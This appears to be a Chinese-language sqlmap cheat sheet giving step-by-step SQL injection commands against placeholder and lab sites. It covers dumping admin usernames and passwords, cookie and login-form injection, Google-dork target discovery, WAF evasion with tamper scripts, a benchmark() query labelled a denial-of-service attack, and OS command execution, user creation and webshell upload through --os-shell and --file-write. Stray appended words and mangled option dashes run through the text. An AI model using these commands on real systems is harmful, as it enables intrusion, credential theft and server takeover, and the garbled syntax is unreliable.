1.SQLMAP用於Access數據庫注入php
(1)猜解是否能注入
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
Linux : ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
(2)猜解表
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
(3)根據猜解的表進行猜解表的字段(假如經過2獲得了admin這個表)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
(4)根據字段猜解內容(假如經過3獲得字段爲username和password)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C
"username,password"
2.SQLMAP用於Cookie注入
(1)cookie注入,猜解表
win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2
(2)猜解字段,(經過1的表猜解字段,假如表爲admin)
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T
admin --level 2
(3)猜解內容
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T
admin -C "username,password" --level 2
3.SQLMAP用於mysql中DDOS攻擊
(1)獲取一個Shell
win:
python sqlmap.py -u http://192.168.159.1/news.php?id=1 --sql-shell
Linux:
sqlmap -u http://192.168.159.1/news.php?id=1 --sql-shell
(2)輸入執行語句完成DDOS攻擊
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
4.SQLMAP用於mysql注入
(1)查找數據庫
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs
(2)經過第一步的數據庫查找表(假如數據庫名爲dataname)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
(3)經過2中的表得出列名(假如表爲table_name)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns
(4)獲取字段的值(假如掃描出id,user,password字段)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump
5.SQLMAP中post登錄框注入
(1)其中的search-test.txt是經過抓包工具burp suite抓到的包並把數據保存爲這個txt文件
咱們在使用Sqlmap進行post型注入時,
常常會出現請求遺漏致使注入失敗的狀況。
這裏分享一個小技巧,即結合burpsuite來使用sqlmap,
用這種方法進行post注入測試會更準確,操做起來也很是容易。
1. 瀏覽器打開目標地址http:// www.xxx.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以攔截請求
3. 點擊login表單的submit按鈕
4. 這時候Burp會攔截到了咱們的登陸POST請求
5. 把這個post請求複製爲txt, 我這命名爲search-test.txt 而後把它放至sqlmap目錄下
6. 運行sqlmap並使用以下命令:
./sqlmap.py -r search-test.txt -p tfUPass
這裏參數-r 是讓sqlmap加載咱們的post請求rsearch-test.txt,
而-p 你們應該比較熟悉,指定注入用的參數。
注入點:http://testasp.vulnweb.com/Login.asp
幾種注入方式:./sqlmap.py -r search-test.txt -p tfUPass
(2)自動的搜索
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
(3)指定參數搜索
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=321&tfUPass=321"
6.SQLMAP中Google搜索注入
inurl後面的語言是由本身定的
注入過程當中若是選y是注入,若是不是選n
sqlmap -g inurl:php?id=
7.SQLMAP中的請求延遲
參數 --delay --safe-freq
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
參數
8.SQLMAP繞過WAF防火牆
注入點:http://192.168.159.1/news.php?id=1
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
space2morehash.py中能夠替換space2hash.py或者base64encode.py或者charencode.py
都是編碼方式
space2hash.py base64encode.py charencode.py
9.SQLMAP查看權限
sqlmap -u http://192.168.159.1/news.php?id=1 --privileges
10.SQLMAP僞靜態注入
(1)查找數據庫
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs
(2)經過1中的數據庫查找對應的表 (假如經過1,獲得的是dataname)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables
(3)經過2中的數據表獲得字段(假如獲得的是tablename表)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename --columns
(4)經過3獲得字段值(假如從3中獲得字段id,password)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename -C "password" --dump
11.SQLMAP注入點執行命令與交互寫shell
(1)
注入點:http://192.168.159.1/news.php?id=1
此處採用的是Linux系統
sqlmap -u http://192.168.159.1/news.php?id=1 --os-cmd=ipconfig
出現語言的選擇根據實際的測試網站選擇語言
指定目標站點D:/www/
(2)獲取Shell
sqlmap -u http://192.168.159.1/news.php?id=1 --os-shell
出現語言的選擇根據實際的測試網站選擇語言html
指定目標站點D:/www/python
輸入ipconfig/all
建立用戶和刪除用戶mysql
只要權限足夠大,你能夠輸入使用任何命令。web
其餘命令參考下面:正則表達式
sqlmap -r 「c:\tools\request.txt」 –dbms mysql -D dedecms –search -C admin,password
在dedecms數據庫中搜索字段admin或者password。sql
首先找須要網站的物理路徑,其次須要有可寫或可讀權限。shell
–file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件 (物理路徑)
–file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)
–file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑
#示例:
sqlmap -r 「c:\request.txt」 -p id –dbms mysql –file-dest 「e:\php\htdocs\dvwa\inc\include\1.php」 –file-write 「f:\webshell\1112.php」數據庫
使用shell命令:後端
sqlmap -r 「c:\tools\request.txt」 -p id –dms mysql –os-shell
接下來指定網站可寫目錄:
「E:\php\htdocs\dvwa」
#注:mysql不支持列目錄,僅支持讀取單個文件。sqlserver能夠列目錄,不能讀寫文件,但須要一個(xp_dirtree函數)
——————————————————————————————————
如下至少須要設置其中一個選項,設置目標URL。
這些選項能夠用來指定如何鏈接到目標URL。
這些選項能夠用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還能夠運行
您本身的SQL語句。
這些選項可用於優化SqlMap的性能。
這些選項能夠用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。
這些選項能夠用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。
這些選項可用於調整具體的SQL注入測試。
這些選項能夠被用來運行蠻力檢查。
User-defined function injection(用戶自定義函數注入):
這些選項能夠用來建立用戶自定義函數。
–udf-inject 注入用戶自定義函數
–shared-lib=SHLIB 共享庫的本地路徑
這些選項能夠被用來訪問後端數據庫管理系統的底層文件系統。
這些選項能夠用於訪問後端數據庫管理系統的底層操做系統。
這些選項能夠被用來訪問後端數據庫管理系統Windows註冊表。
這些選項能夠用來設置一些通常的工做參數。